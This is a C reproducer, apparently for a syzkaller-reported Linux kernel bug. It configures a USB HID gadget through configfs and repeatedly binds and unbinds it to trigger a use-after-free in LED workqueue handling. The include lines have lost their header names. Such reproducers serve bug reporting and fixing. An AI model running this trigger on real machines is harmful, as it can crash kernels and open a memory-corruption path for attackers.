// https://syzkaller.appspot.com/bug?id=3018498a9cc52b0138239fff38a27e91af022f51 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include // Minimal HID report descriptor const unsigned char rdesc[] = { 0x05, 0x01, 0x09, 0x02, 0xA1, 0x01, 0x09, 0x01, 0xA1, 0x00, 0x05, 0x09, 0x19, 0x01, 0x29, 0x03, 0x15, 0x00, 0x25, 0x01, 0x95, 0x03, 0x75, 0x01, 0x81, 0x02, 0x95, 0x01, 0x75, 0x05, 0x81, 0x03, 0x05, 0x01, 0x09, 0x30, 0x09, 0x31, 0x15, 0x81, 0x25, 0x7F, 0x75, 0x08, 0x95, 0x02, 0x81, 0x06, 0xC0, 0xC0 }; int write_file(const char *path, const char *str) { int fd = open(path, O_WRONLY); if (fd < 0) { printf("[-] Failed to open %s: %s\n", path, strerror(errno)); return -1; } ssize_t len = strlen(str); if (write(fd, str, len) != len) { printf("[-] Failed to write to %s: %s\n", path, strerror(errno)); close(fd); return -1; } close(fd); return 0; } int write_binary(const char *path, const unsigned char *data, size_t len) { int fd = open(path, O_WRONLY); if (fd < 0) { printf("[-] Failed to open %s: %s\n", path, strerror(errno)); return -1; } if (write(fd, data, len) != (ssize_t)len) { printf("[-] Failed to write binary to %s: %s\n", path, strerror(errno)); close(fd); return -1; } close(fd); return 0; } int safe_mkdir(const char *path, mode_t mode) { if (mkdir(path, mode) < 0 && errno != EEXIST) { printf("[-] Failed to mkdir %s: %s\n", path, strerror(errno)); return -1; } return 0; } int get_udc(char *udc_name, size_t max_len) { DIR *dir = opendir("/sys/class/udc"); if (!dir) { printf("[-] Failed to opendir /sys/class/udc: %s\n", strerror(errno)); return -1; } struct dirent *entry; while ((entry = readdir(dir)) != NULL) { if (entry->d_name[0] != '.') { strncpy(udc_name, entry->d_name, max_len - 1); udc_name[max_len - 1] = '\0'; closedir(dir); return 0; } } closedir(dir); printf("[-] No UDC found\n"); return -1; } int wait_for_led() { for (int i = 0; i < 50; i++) { // Wait up to 5 seconds DIR *dir = opendir("/sys/class/leds"); if (dir) { struct dirent *entry; while ((entry = readdir(dir)) != NULL) { if (strstr(entry->d_name, "::record") || strstr(entry->d_name, "::backlight")) { closedir(dir); return 1; } } closedir(dir); } usleep(100000); // 100ms } return 0; } int wait_for_led_removed() { for (int i = 0; i < 50; i++) { DIR *dir = opendir("/sys/class/leds"); int found = 0; if (dir) { struct dirent *entry; while ((entry = readdir(dir)) != NULL) { if (strstr(entry->d_name, "::record") || strstr(entry->d_name, "::backlight")) { found = 1; break; } } closedir(dir); } if (!found) return 1; usleep(100000); // 100ms } return 0; } int main() { setvbuf(stdout, NULL, _IONBF, 0); printf("[*] Mounting configfs...\n"); if (mount("configfs", "/sys/kernel/config", "configfs", 0, NULL) < 0) { if (errno != EBUSY) { printf("[-] Failed to mount configfs: %s\n", strerror(errno)); } } printf("[+] configfs mounted or already present.\n"); if (safe_mkdir("/sys/kernel/config/usb_gadget/g1", 0755) < 0) exit(1); if (write_file("/sys/kernel/config/usb_gadget/g1/idVendor", "0x1b1c\n") < 0) exit(1); if (write_file("/sys/kernel/config/usb_gadget/g1/idProduct", "0x1b02\n") < 0) exit(1); if (write_file("/sys/kernel/config/usb_gadget/g1/bcdUSB", "0x0200\n") < 0) exit(1); if (write_file("/sys/kernel/config/usb_gadget/g1/bcdDevice", "0x0100\n") < 0) exit(1); if (safe_mkdir("/sys/kernel/config/usb_gadget/g1/configs/c.1", 0755) < 0) exit(1); if (safe_mkdir("/sys/kernel/config/usb_gadget/g1/functions/hid.usb0", 0755) < 0) exit(1); if (write_file("/sys/kernel/config/usb_gadget/g1/functions/hid.usb0/protocol", "1\n") < 0) exit(1); if (write_file("/sys/kernel/config/usb_gadget/g1/functions/hid.usb0/subclass", "1\n") < 0) exit(1); if (write_file("/sys/kernel/config/usb_gadget/g1/functions/hid.usb0/report_length", "8\n") < 0) exit(1); if (write_binary("/sys/kernel/config/usb_gadget/g1/functions/hid.usb0/report_desc", rdesc, sizeof(rdesc)) < 0) exit(1); if (symlink("/sys/kernel/config/usb_gadget/g1/functions/hid.usb0", "/sys/kernel/config/usb_gadget/g1/configs/c.1/hid.usb0") < 0) { if (errno != EEXIST) { printf("[-] Failed to symlink: %s\n", strerror(errno)); exit(1); } } printf("[+] USB gadget configured.\n"); char udc[256]; if (get_udc(udc, sizeof(udc)) < 0) exit(1); printf("[+] Found UDC: %s\n", udc); for (int i = 0; i < 100; i++) { printf("[*] Iteration %d: Binding gadget...\n", i); if (write_file("/sys/kernel/config/usb_gadget/g1/UDC", udc) < 0) { printf("[-] Failed to bind gadget\n"); exit(1); } printf("[*] Waiting for LED device to appear...\n"); if (wait_for_led()) { printf("[+] LED device found. Unbinding gadget...\n"); // Wait a little bit to ensure probe finishes completely usleep(100000); if (write_file("/sys/kernel/config/usb_gadget/g1/UDC", "\n") < 0) { printf("[-] Failed to unbind gadget, continuing...\n"); } printf("[*] Waiting for LED device to disappear...\n"); wait_for_led_removed(); printf("[+] LED device removed.\n"); // Wait for the workqueue to execute and trigger UAF usleep(500000); } else { printf("[-] LED device did not appear. Unbinding and retrying...\n"); write_file("/sys/kernel/config/usb_gadget/g1/UDC", "\n"); sleep(1); } } printf("[+] Done.\n"); return 0; }